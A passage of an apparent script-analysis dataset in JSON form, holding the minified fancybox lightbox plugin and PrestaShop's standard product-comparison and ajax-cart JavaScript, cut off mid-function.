\"html\":a.selector?e=f(\"<div>\").html(e).find(a.selector):t(e)&&(e.data(\"fancybox-placeholder\")||e.data(\"fancybox-placeholder\",f('<div class=\"fancybox-placeholder\"></div>').insertAfter(e).hide()),e=e.show().detach(),a.wrap.bind(\"onReset\",function(){f(this).find(e).length&&e.hide().replaceAll(e.data(\"fancybox-placeholder\")).data(\"fancybox-placeholder\",!1)}));break;case \"image\":e=a.tpl.image.replace(\"{href}\",g);break;case \"swf\":e='<object id=\"fancybox-swf\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\"><param name=\"movie\" value=\"'+g+'\"></param>',h=\"\",f.each(a.swf,function(a,b){e+='<param name=\"'+a+'\" value=\"'+b+'\"></param>';h+=\" \"+a+'=\"'+b+'\"'}),e+='<embed src=\"'+g+'\" type=\"application/x-shockwave-flash\" width=\"100%\" height=\"100%\"'+h+\"></embed></object>\"}(!t(e)||!e.parent().is(a.inner))&&a.inner.append(e);b.trigger(\"beforeShow\");a.inner.css(\"overflow\",\"yes\"===k?\"scroll\":\"no\"===k?\"hidden\":k);b._setDimension();b.reposition();b.isOpen=!1;b.coming=null;b.bindEvents();if(b.isOpened){if(d.prevMethod)b.transitions[d.prevMethod]()}else f(\".fancybox-wrap\").not(a.wrap).stop(!0).trigger(\"onReset\").remove();b.transitions[b.isOpened?a.nextMethod:a.openMethod]();b._preloadImages()}},_setDimension:function(){var a=b.getViewport(),d=0,e=!1,c=!1,e=b.wrap,k=b.skin,g=b.inner,h=b.current,c=h.width,j=h.height,m=h.minWidth,u=h.minHeight,n=h.maxWidth,p=h.maxHeight,s=h.scrolling,q=h.scrollOutside?h.scrollbarWidth:0,x=h.margin,y=l(x[1]+x[3]),r=l(x[0]+x[2]),v,z,t,C,A,F,B,D,H;e.add(k).add(g).width(\"auto\").height(\"auto\").removeClass(\"fancybox-tmp\");x=l(k.outerWidth(!0)-k.width());v=l(k.outerHeight(!0)-k.height());z=y+x;t=r+v;C=E(c)?(a.w-z)*l(c)/100:c;A=E(j)?(a.h-t)*l(j)/100:j;if(\"iframe\"===h.type){if(H=h.content,h.autoHeight&&1===H.data(\"ready\"))try{H[0].contentWindow.document.location&&(g.width(C).height(9999),F=H.contents().find(\"body\"),q&&F.css(\"overflow-x\",\"hidden\"),A=F.outerHeight(!0))}catch(G){}}else if(h.autoWidth||h.autoHeight)g.addClass(\"fancybox-tmp\"),h.autoWidth||g.width(C),h.autoHeight||g.height(A),h.autoWidth&&(C=g.width()),h.autoHeight&&(A=g.height()),g.removeClass(\"fancybox-tmp\");c=l(C);j=l(A);D=C/A;m=l(E(m)?l(m,\"w\")-z:m);n=l(E(n)?l(n,\"w\")-z:n);u=l(E(u)?l(u,\"h\")-t:u);p=l(E(p)?l(p,\"h\")-t:p);F=n;B=p;h.fitToView&&(n=Math.min(a.w-z,n),p=Math.min(a.h-t,p));z=a.w-y;r=a.h-r;h.aspectRatio?(c>n&&(c=n,j=l(c/D)),j>p&&(j=p,c=l(j*D)),c<m&&(c=m,j=l(c/D)),j<u&&(j=u,c=l(j*D))):(c=Math.max(m,Math.min(c,n)),h.autoHeight&&\"iframe\"!==h.type&&(g.width(c),j=g.height()),j=Math.max(u,Math.min(j,p)));if(h.fitToView)if(g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height(),h.aspectRatio)for(;(a>z||y>r)&&(c>m&&j>u)&&!(19<d++);)j=Math.max(u,Math.min(p,j-10)),c=l(j*D),c<m&&(c=m,j=l(c/D)),c>n&&(c=n,j=l(c/D)),g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height();else c=Math.max(m,Math.min(c,c-(a-z))),j=Math.max(u,Math.min(j,j-(y-r)));q&&(\"auto\"===s&&j<A&&c+x+q<z)&&(c+=q);g.width(c).height(j);e.width(c+x);a=e.width();y=e.height();e=(a>z||y>r)&&c>m&&j>u;c=h.aspectRatio?c<F&&j<B&&c<C&&j<A:(c<F||j<B)&&(c<C||j<A);f.extend(h,{dim:{width:w(a),height:w(y)},origWidth:C,origHeight:A,canShrink:e,canExpand:c,wPadding:x,hPadding:v,wrapSpace:y-k.outerHeight(!0),skinSpace:k.height()-j});!H&&(h.autoHeight&&j>u&&j<p&&!c)&&g.height(\"auto\")},_getPosition:function(a){var d=b.current,e=b.getViewport(),c=d.margin,f=b.wrap.width()+c[1]+c[3],g=b.wrap.height()+c[0]+c[2],c={position:\"absolute\",top:c[0],left:c[3]};d.autoCenter&&d.fixed&&!a&&g<=e.h&&f<=e.w?c.position=\"fixed\":d.locked||(c.top+=e.y,c.left+=e.x);c.top=w(Math.max(c.top,c.top+(e.h-g)*d.topRatio));c.left=w(Math.max(c.left,c.left+(e.w-f)*d.leftRatio));return c},_afterZoomIn:function(){var a=b.current;a&&(b.isOpen=b.isOpened=!0,b.wrap.css(\"overflow\",\"visible\").addClass(\"fancybox-opened\"),b.update(),(a.closeClick||a.nextClick&&1<b.group.length)&&b.inner.css(\"cursor\",\"pointer\").bind(\"click.fb\",function(d){!f(d.target).is(\"a\")&&!f(d.target).parent().is(\"a\")&&(d.preventDefault(),b[a.closeClick?\"close\":\"next\"]())}),a.closeBtn&&f(a.tpl.closeBtn).appendTo(b.skin).bind(\"click.fb\",function(a){a.preventDefault();b.close()}),a.arrows&&1<b.group.length&&((a.loop||0<a.index)&&f(a.tpl.prev).appendTo(b.outer).bind(\"click.fb\",b.prev),(a.loop||a.index<b.group.length-1)&&f(a.tpl.next).appendTo(b.outer).bind(\"click.fb\",b.next)),b.trigger(\"afterShow\"),!a.loop&&a.index===a.group.length-1?b.play(!1):b.opts.autoPlay&&!b.player.isActive&&(b.opts.autoPlay=!1,b.play()))},_afterZoomOut:function(a){a=a||b.current;f(\".fancybox-wrap\").trigger(\"onReset\").remove();f.extend(b,{group:{},opts:{},router:!1,current:null,isActive:!1,isOpened:!1,isOpen:!1,isClosing:!1,wrap:null,skin:null,outer:null,inner:null});b.trigger(\"afterClose\",a)}});b.transitions={getOrigPosition:function(){var a=b.current,d=a.element,e=a.orig,c={},f=50,g=50,h=a.hPadding,j=a.wPadding,m=b.getViewport();!e&&(a.isDom&&d.is(\":visible\"))&&(e=d.find(\"img:first\"),e.length||(e=d));t(e)?(c=e.offset(),e.is(\"img\")&&(f=e.outerWidth(),g=e.outerHeight())):(c.top=m.y+(m.h-g)*a.topRatio,c.left=m.x+(m.w-f)*a.leftRatio);if(\"fixed\"===b.wrap.css(\"position\")||a.locked)c.top-=m.y,c.left-=m.x;return c={top:w(c.top-h*a.topRatio),left:w(c.left-j*a.leftRatio),width:w(f+j),height:w(g+h)}},step:function(a,d){var e,c,f=d.prop;c=b.current;var g=c.wrapSpace,h=c.skinSpace;if(\"width\"===f||\"height\"===f)e=d.end===d.start?1:(a-d.start)/(d.end-d.start),b.isClosing&&(e=1-e),c=\"width\"===f?c.wPadding:c.hPadding,c=a-c,b.skin[f](l(\"width\"===f?c:c-g*e)),b.inner[f](l(\"width\"===f?c:c-g*e-h*e))},zoomIn:function(){var a=b.current,d=a.pos,e=a.openEffect,c=\"elastic\"===e,k=f.extend({opacity:1},d);delete k.position;c?(d=this.getOrigPosition(),a.openOpacity&&(d.opacity=0.1)):\"fade\"===e&&(d.opacity=0.1);b.wrap.css(d).animate(k,{duration:\"none\"===e?0:a.openSpeed,easing:a.openEasing,step:c?this.step:null,complete:b._afterZoomIn})},zoomOut:function(){var a=b.current,d=a.closeEffect,e=\"elastic\"===d,c={opacity:0.1};e&&(c=this.getOrigPosition(),a.closeOpacity&&(c.opacity=0.1));b.wrap.animate(c,{duration:\"none\"===d?0:a.closeSpeed,easing:a.closeEasing,step:e?this.step:null,complete:b._afterZoomOut})},changeIn:function(){var a=b.current,d=a.nextEffect,e=a.pos,c={opacity:1},f=b.direction,g;e.opacity=0.1;\"elastic\"===d&&(g=\"down\"===f||\"up\"===f?\"top\":\"left\",\"down\"===f||\"right\"===f?(e[g]=w(l(e[g])-200),c[g]=\"+=200px\"):(e[g]=w(l(e[g])+200),c[g]=\"-=200px\"));\"none\"===d?b._afterZoomIn():b.wrap.css(e).animate(c,{duration:a.nextSpeed,easing:a.nextEasing,complete:b._afterZoomIn})},changeOut:function(){var a=b.previous,d=a.prevEffect,e={opacity:0.1},c=b.direction;\"elastic\"===d&&(e[\"down\"===c||\"up\"===c?\"top\":\"left\"]=(\"up\"===c||\"left\"===c?\"-\":\"+\")+\"=200px\");a.wrap.animate(e,{duration:\"none\"===d?0:a.prevSpeed,easing:a.prevEasing,complete:function(){f(this).trigger(\"onReset\").remove()}})}};b.helpers.overlay={defaults:{closeClick:!0,speedOut:200,showEarly:!0,css:{},locked:!s,fixed:!0},overlay:null,fixed:!1,el:f(\"html\"),create:function(a){a=f.extend({},this.defaults,a);this.overlay&&this.close();this.overlay=f('<div class=\"fancybox-overlay\"></div>').appendTo(b.coming?b.coming.parent:a.parent);this.fixed=!1;a.fixed&&b.defaults.fixed&&(this.overlay.addClass(\"fancybox-overlay-fixed\"),this.fixed=!0)},open:function(a){var d=this;a=f.extend({},this.defaults,a);this.overlay?this.overlay.unbind(\".overlay\").width(\"auto\").height(\"auto\"):this.create(a);this.fixed||(n.bind(\"resize.overlay\",f.proxy(this.update,this)),this.update());a.closeClick&&this.overlay.bind(\"click.overlay\",function(a){if(f(a.target).hasClass(\"fancybox-overlay\"))return b.isActive?b.close():d.close(),!1});this.overlay.css(a.css).show()},close:function(){var a,b;n.unbind(\"resize.overlay\");this.el.hasClass(\"fancybox-lock\")&&(f(\".fancybox-margin\").removeClass(\"fancybox-margin\"),a=n.scrollTop(),b=n.scrollLeft(),this.el.removeClass(\"fancybox-lock\"),n.scrollTop(a).scrollLeft(b));f(\".fancybox-overlay\").remove().hide();f.extend(this,{overlay:null,fixed:!1})},update:function(){var a=\"100%\",b;this.overlay.width(a).height(\"100%\");I?(b=Math.max(G.documentElement.offsetWidth,G.body.offsetWidth),p.width()>b&&(a=p.width())):p.width()>n.width()&&(a=p.width());this.overlay.width(a).height(p.height())},onReady:function(a,b){var e=this.overlay;f(\".fancybox-overlay\").stop(!0,!0);e||this.create(a);a.locked&&(this.fixed&&b.fixed)&&(e||(this.margin=p.height()>n.height()?f(\"html\").css(\"margin-right\").replace(\"px\",\"\"):!1),b.locked=this.overlay.append(b.wrap),b.fixed=!1);!0===a.showEarly&&this.beforeShow.apply(this,arguments)},beforeShow:function(a,b){var e,c;b.locked&&(!1!==this.margin&&(f(\"*\").filter(function(){return\"fixed\"===f(this).css(\"position\")&&!f(this).hasClass(\"fancybox-overlay\")&&!f(this).hasClass(\"fancybox-wrap\")}).addClass(\"fancybox-margin\"),this.el.addClass(\"fancybox-margin\")),e=n.scrollTop(),c=n.scrollLeft(),this.el.addClass(\"fancybox-lock\"),n.scrollTop(e).scrollLeft(c));this.open(a)},onUpdate:function(){this.fixed||this.update()},afterClose:function(a){this.overlay&&!b.coming&&this.overlay.fadeOut(a.speedOut,f.proxy(this.close,this))}};b.helpers.title={defaults:{type:\"float\",position:\"bottom\"},beforeShow:function(a){var d=b.current,e=d.title,c=a.type;f.isFunction(e)&&(e=e.call(d.element,d));if(q(e)&&\"\"!==f.trim(e)){d=f('<div class=\"fancybox-title fancybox-title-'+c+'-wrap\">'+e+\"</div>\");switch(c){case \"inside\":c=b.skin;break;case \"outside\":c=b.wrap;break;case \"over\":c=b.inner;break;default:c=b.skin,d.appendTo(\"body\"),I&&d.width(d.width()),d.wrapInner('<span class=\"child\"></span>'),b.current.margin[2]+=Math.abs(l(d.css(\"margin-bottom\")))}d[\"top\"===a.position?\"prependTo\":\"appendTo\"](c)}}};f.fn.fancybox=function(a){var d,e=f(this),c=this.selector||\"\",k=function(g){var h=f(this).blur(),j=d,k,l;!g.ctrlKey&&(!g.altKey&&!g.shiftKey&&!g.metaKey)&&!h.is(\".fancybox-wrap\")&&(k=a.groupAttr||\"data-fancybox-group\",l=h.attr(k),l||(k=\"rel\",l=h.get(0)[k]),l&&(\"\"!==l&&\"nofollow\"!==l)&&(h=c.length?f(c):e,h=h.filter(\"[\"+k+'=\"'+l+'\"]'),j=h.index(this)),a.index=j,!1!==b.open(h,a)&&g.preventDefault())};a=a||{};d=a.index||0;!c||!1===a.live?e.unbind(\"click.fb-start\").bind(\"click.fb-start\",k):p.undelegate(c,\"click.fb-start\").delegate(c+\":not('.fancybox-item, .fancybox-nav')\",\"click.fb-start\",k);this.filter(\"[data-fancybox-start=1]\").trigger(\"click\");return this};p.ready(function(){var a,d;f.scrollbarWidth===v&&(f.scrollbarWidth=function(){var a=f('<div style=\"width:50px;height:50px;overflow:auto\"><div/></div>').appendTo(\"body\"),b=a.children(),b=b.innerWidth()-b.height(99).innerWidth();a.remove();return b});if(f.support.fixedPosition===v){a=f.support;d=f('<div style=\"position:fixed;top:20px;\"></div>').appendTo(\"body\");var e=20===d[0].offsetTop||15===d[0].offsetTop;d.remove();a.fixedPosition=e}f.extend(b.defaults,{scrollbarWidth:f.scrollbarWidth(),fixed:f.support.fixedPosition,parent:f(\"body\")});a=f(r).width();J.addClass(\"fancybox-lock-test\");d=f(r).width();J.removeClass(\"fancybox-lock-test\");f(\"<style type='text/css'>.fancybox-margin{margin-right:\"+(d-a)+\"px;}</style>\").appendTo(\"head\")})})(window,document,jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$(document).on('click', '.add_to_compare', function(e){\t\te.preventDefault();\t\tif (typeof addToCompare != 'undefined')\t\t\taddToCompare(parseInt($(this).data('id-product')));\t});\treloadProductComparison();\tcompareButtonsStatusRefresh();\ttotalCompareButtons();});function addToCompare(productId){\tvar totalValueNow = parseInt($('.bt_compare').next('.compare_product_count').val());\tvar action, totalVal;\tif ($.inArray(parseInt(productId),comparedProductsIds) === -1)\t\taction = 'add';\telse\t\taction = 'remove';\t$.ajax({\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=' + action + '&id_product=' + productId,\t\tasync: true,\t\tcache: false,\t\tsuccess: function(data) {\t\t\tif (action === 'add' && comparedProductsIds.length < comparator_max_item) {\t\t\t\tcomparedProductsIds.push(parseInt(productId)),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow +1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse if (action === 'remove') {\t\t\t\tcomparedProductsIds.splice($.inArray(parseInt(productId), comparedProductsIds), 1),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow -1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([{\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + max_item + '</p>'\t\t\t\t\t}], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(max_item);\t\t\t}\t\t\ttotalCompareButtons();\t\t},\t\terror: function(){}\t});}function reloadProductComparison(){\t$(document).on('click', 'a.cmp_remove', function(e){\t\te.preventDefault();\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t$.ajax({\t\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct,\t\t\tasync: false,\t\t\tcache: false\t\t});\t\t$('td.product-' + idProduct).fadeOut(600);\t\tvar compare_product_list = get('compare_product_list');\t\tvar bak = compare_product_list;\t\tvar new_compare_product_list = [];\t\tcompare_product_list = decodeURIComponent(compare_product_list).split('|');\t\tfor (var i in compare_product_list)\t\t\tif (parseInt(compare_product_list[i]) != idProduct)\t\t\t\tnew_compare_product_list.push(compare_product_list[i]);\t\tif (new_compare_product_list.length)\t\t\twindow.location.search = window.location.search.replace(bak, new_compare_product_list.join(encodeURIComponent('|')));\t});};function compareButtonsStatusRefresh(){\t$('.add_to_compare').each(function() {\t\tif ($.inArray(parseInt($(this).data('id-product')), comparedProductsIds) !== -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function totalCompareButtons(){\tvar totalProductsToCompare = parseInt($('.bt_compare .total-compare-val').html());\tif (typeof totalProductsToCompare !== \"number\" || totalProductsToCompare === 0)\t\t$('.bt_compare').attr(\"disabled\",true);\telse\t\t$('.bt_compare').attr(\"disabled\",false);}function totalValue(value){\t$('.bt_compare').find('.total-compare-val').html(value);}function get(name){\tvar regexS = \"[\\\\?&]\" + name + \"=([^&#]*)\";\tvar regex = new RegExp(regexS);\tvar results = regex.exec(window.location.search);\tif (results == null)\t\treturn \"\";\telse\t\treturn results[1];}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\tajaxCart.overrideButtonsInThePage();\t$(document).on('click', '.block_cart_collapse', function(e){\t\te.preventDefault();\t\tajaxCart.collapse();\t});\t$(document).on('click', '.block_cart_expand', function(e){\t\te.preventDefault();\t\tajaxCart.expand();\t});\tvar current_timestamp = parseInt(new Date().getTime() / 1000);\tif (typeof $('.ajax_cart_quantity').html() == 'undefined' || (typeof generated_date != 'undefined' && generated_date != null && (parseInt(generated_date) + 30) < current_timestamp))\t\tajaxCart.refresh();\t/* roll over cart */\tvar cart_block = new HoverWatcher('#header .cart_block');\tvar shopping_cart = new HoverWatcher('#header .shopping_cart');\tvar is_touch_enabled = false;\tif ('ontouchstart' in document.documentElement)\t\tis_touch_enabled = true;\t$(document).on('click', '#header .shopping_cart > a:first', function(e){\t\te.preventDefault();\t\te.stopPropagation();\t\t// Simulate hover when browser says device is touch based\t\tif (is_touch_enabled)\t\t{\t\t\tif ($(this).next('.cart_block:visible').length && !cart_block.isHoveringOver())\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\telse if (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t\treturn;\t\t}\t\telse\t\t\twindow.location.href = $(this).attr('href');\t});\t$(\"#header .shopping_cart a:first\").hover(\t\tfunction(){\t\t\tif (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(\"#header .cart_block\").hover(\t\tfunction(){\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(document).on('click', '.delete_voucher', function(e){\t\te.preventDefault();\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tasync: true,\t\t\tcache: false,\t\t\turl:$(this).attr('href') + '?rand=' + new Date().getTime()\t\t});\t\t$(this).parent().parent().remove(); ajaxCart.refresh();\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t{\t\t\tif (typeof(updateAddressSelection) != 'undefined')\t\t\t\tupdateAddressSelection();\t\t\telse\t\t\t\tlocation.reload();\t\t}\t});\t$(document).on('click', '#cart_navigation input', function(e){\t\t$(this).prop('disabled', 'disabled').addClass('disabled');\t\t$(this).closest(\"form\").get(0).submit();\t});\t$(document).on('click', '#layer_cart .cross, #layer_cart .continue, .layer_cart_overlay', function(e){\t\te.preventDefault();\t\t$('.layer_cart_overlay').hide();\t\t$('#layer_cart').fadeOut('fast');\t});\t$('#columns #layer_cart, #columns .layer_cart_overlay').detach().prependTo('#columns');});//JS Object : update the cart by ajax actionsvar ajaxCart = {\tnb_total_products: 0,\t//override every button in the page in relation to the cart\toverrideButtonsInThePage : function(){\t\t//for every 'add' buttons...\t\t$(document).off('click', '.ajax_add_to_cart_button').on('click', '.ajax_add_to_cart_button', function(e){\t\t\te.preventDefault();\t\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t\tvar minimalQuantity = parseInt($(this).data('minimal_quantity'));\t\t\tif (!minimalQuantity)\t\t\t\tminimalQuantity = 1;\t\t\tif ($(this).prop('disabled') != 'disabled')\t\t\t\tajaxCart.add(idProduct, null, false, this, minimalQuantity);\t\t});\t\t//for product page 'add' button...\t\t$(document).off('click', '#add_to_cart button').on('click', '#add_to_cart button', function(e){\t\t\te.preventDefault();\t\t\tajaxCart.add($('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null);\t\t});\t\t//for 'delete' buttons in the cart block...\t\t$(document).off('click', '.cart_block_list .ajax_cart_block_remove_link').on('click', '.cart_block_list .ajax_cart_block_remove_link', function(e){\t\t\te.preventDefault();\t\t\t// Customized product management\t\t\tvar customizationId = 0;\t\t\tvar productId = 0;\t\t\tvar productAttributeId = 0;\t\t\tvar customizableProductDiv = $($(this).parent().parent()).find(\"div[data-id^=deleteCustomizableProduct_]\");\t\t\tvar idAddressDelivery = false;\t\t\tif (customizableProductDiv && $(customizableProductDiv).length)\t\t\t{\t\t\t\tvar ids = customizableProductDiv.data('id').split('_');\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t{\t\t\t\t\tcustomizationId = parseInt(ids[1]);\t\t\t\t\tproductId = parseInt(ids[2]);\t\t\t\t\tif (typeof(ids[3]) != 'undefined')\t\t\t\t\t\tproductAttributeId = parseInt(ids[3]);\t\t\t\t\tif (typeof(ids[4]) != 'undefined')\t\t\t\t\t\tidAddressDelivery = parseInt(ids[4]);\t\t\t\t}\t\t\t}\t\t\t// Common product management\t\t\tif (!customizationId)\t\t\t{\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar firstCut = $(this).parent().parent().data('id').replace('cart_block_product_', '');\t\t\t\tfirstCut = firstCut.replace('deleteCustomizableProduct_', '');\t\t\t\tids = firstCut.split('_');\t\t\t\tproductId = parseInt(ids[0]);\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t\tproductAttributeId = parseInt(ids[1]);\t\t\t\tif (typeof(ids[2]) != 'undefined')\t\t\t\t\tidAddressDelivery = parseInt(ids[2]);\t\t\t}\t\t\t// Removing product from the cart\t\t\tajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery);\t\t});\t},\t// try to expand the cart\texpand : function(){\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t{\t\t\t$('.cart_block_list.collapsed').slideDown({\t\t\t\tduration: 450,\t\t\t\tcomplete: function(){\t\t\t\t\t$(this).parent().show(); // parent is hidden in global.js::accordion()\t\t\t\t\t$(this).addClass('expanded').removeClass('collapsed');\t\t\t\t}\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=expand',\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_expand').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_collapse').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// try to collapse the cart\tcollapse : function(){\t\tif ($('.cart_block_list').hasClass('expanded'))\t\t{\t\t\t$('.cart_block_list.expanded').slideUp('slow', function(){\t\t\t\t$(this).addClass('collapsed').removeClass('expanded');\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime(),\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_collapse').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_expand').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// Fix display when using back and previous browsers buttons\trefresh : function(){\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&ajax=true&token=' + static_token,\t\t\tsuccess: function(jsonData)\t\t\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t}\t\t});\t},\t// Update the cart information\tupdateCartInformation : function (jsonData, addedFromProductPage){\t\tajaxCart.updateCart(jsonData);\t\t//reactive the button when adding has finished\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\tif (!jsonData.hasError || jsonData.hasError == false)\t\t\t\t$('#add_to_cart button').addClass('added');\t\t\telse\t\t\t\t$('#add_to_cart button').removeClass('added');\t\t}\t\telse\t\t\t$('.ajax_add_to_cart_button').removeProp('disabled');\t},\t// close fancybox\tupdateFancyBox : function (){},\t// add a product in the cart via ajax\tadd : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){\t\tif (addedFromProductPage && !checkCustomizations())\t\t{\t\t\tif (contentOnly)\t\t\t{\t\t\t\tvar productUrl = window.document.location.href + '';\t\t\t\tvar data = productUrl.replace('content_only=1', '');\t\t\t\twindow.parent.document.location.href = data;\t\t\t\treturn;\t\t\t}\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '<p class=\"fancybox-error\">' + fieldRequired + '</p>'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(fieldRequired); return;\t\t}\t\t\t\t//disabled the button when adding to not double add if user double click\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').prop('disabled', 'disabled').addClass('disabled');\t\t\t$('.filled').removeClass('filled');\t\t}\t\telse\t\t\t$(callerElement).prop('disabled', 'disabled');\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t\tthis.expand();\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): '' + '&id_customization=' + ((typeof customizationId !== 'undefined') ? customizationId : 0)),\t\t\tsuccess: function(jsonData,textStatus,jqXHR)\t\t\t{\t\t\t\t// add appliance to whishlist module\t\t\t\tif (whishlist && !jsonData.errors)\t\t\t\t\tWishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]);\t\t\t\tif (!jsonData.hasError)\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\tif (jsonData.crossSelling)\t\t\t\t\t\t$('.crossseling').html(jsonData.crossSelling);\t\t\t\t\tif (idCombination)\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct) && this.idCombination == parseInt(idCombination))\t\t\t\t\t\t\t\tif 